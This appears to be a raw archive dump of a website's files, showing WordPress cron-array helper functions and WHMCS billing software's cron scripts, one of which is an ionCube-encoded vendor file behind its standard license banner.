* * @access private * * @param array[] $cron Array of cron info arrays from _get_cron_array(). * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if cron array updated. False or WP_Error on failure. */ function _set_cron_array( $cron, $wp_error = false ) { if ( ! is_array( $cron ) ) { $cron = array(); } $cron['version'] = 2; $result = update_option( 'cron', $cron, true ); if ( $wp_error && ! $result ) { return new WP_Error( 'could_not_set', __( 'The cron event list could not be saved.' ) ); } return $result; } /** * Upgrades a cron info array. * * This function upgrades the cron info array to version 2. * * @since 2.1.0 * @access private * * @param array $cron Cron info array from _get_cron_array(). * @return array An upgraded cron info array. */ function _upgrade_cron_array( $cron ) { if ( isset( $cron['version'] ) && 2 === $cron['version'] ) { return $cron; } $new_cron = array(); foreach ( (array) $cron as $timestamp => $hooks ) { foreach ( (array) $hooks as $hook => $args ) { $key = md5( serialize( $args['args'] ) ); $new_cron[ $timestamp ][ $hook ][ $key ] = $args; } } $new_cron['version'] = 2; update_option( 'cron', $new_cron, true ); return $new_cron; } home/webtaragh/public_html/whmcs/admin/cron.php 0000644 00000001570 14736077307 0015646 0 ustar 00 <?php use WHMCS\Cron; use WHMCS\Exception\Fatal; use WHMCS\Terminus; /** * admin/cron.php * * This file is deprecated and here for backwards compatibility. * * The distributed version of WHMCS provides the main application cron in * crons/cron.php * * The crons folder may be moved to any place above or below the docroot. * * For more information please see https://docs.whmcs.com/Custom_Crons_Directory */ /** @var WHMCS\Application $whmcs */ require dirname(__DIR__) . DIRECTORY_SEPARATOR . 'init.php'; define('PROXY_FILE', true); try { $path = Cron::getCronsPath(basename(__FILE__)); require_once $path; } catch (Fatal $e) { echo Cron::formatOutput(Cron::getCronRootDirErrorMessage()); Terminus::getInstance()->doExit(1); } catch (\Exception $e) { echo Cron::formatOutput(Cron::getCronPathErrorMessage()); Terminus::getInstance()->doExit(1); } home/webtaragh/public_html/whmcs/crons/cron.php 0000644 00000073263 14736077727 0015720 0 ustar 00 <?php //ICB0 72:0 81:4664 ?><?php //00cb7 // ************************************************************************* // * * // * WHMCS - The Complete Client Management, Billing & Support Solution * // * Copyright (c) WHMCS Ltd. All Rights Reserved, * // * Version:8.8.0 (8.8.0-release.1) * // * BuildId:06fc63b.326 * // * Build Date:20 Sep 2023 * // * * // ************************************************************************* // * * // * Email: info@whmcs.com * // * Website: http://www.whmcs.com * // * * // ************************************************************************* // * * // * This software is furnished under a license and may be used and copied * // * only in accordance with the terms of such license and with the * // * inclusion of the above copyright notice. This software or any other * // * copies thereof may not be provided or otherwise made available to any * // * other person. No title to and ownership of the software is hereby * // * transferred. * // * * // * You may not reverse engineer, decompile, defeat license encryption * // * mechanisms, or disassemble this software product or software product * // * license. WHMCompleteSolution may terminate this license if you don't * // * comply with any of the terms and conditions set forth in our end user * // * license agreement (EULA). In such event, licensee agrees to return * // * licensor or destroy all copies of software upon termination of the * // * license. * // * * // * Please see the EULA file for the full End User License Agreement. * // * * // ************************************************************************* if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199); ?> 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 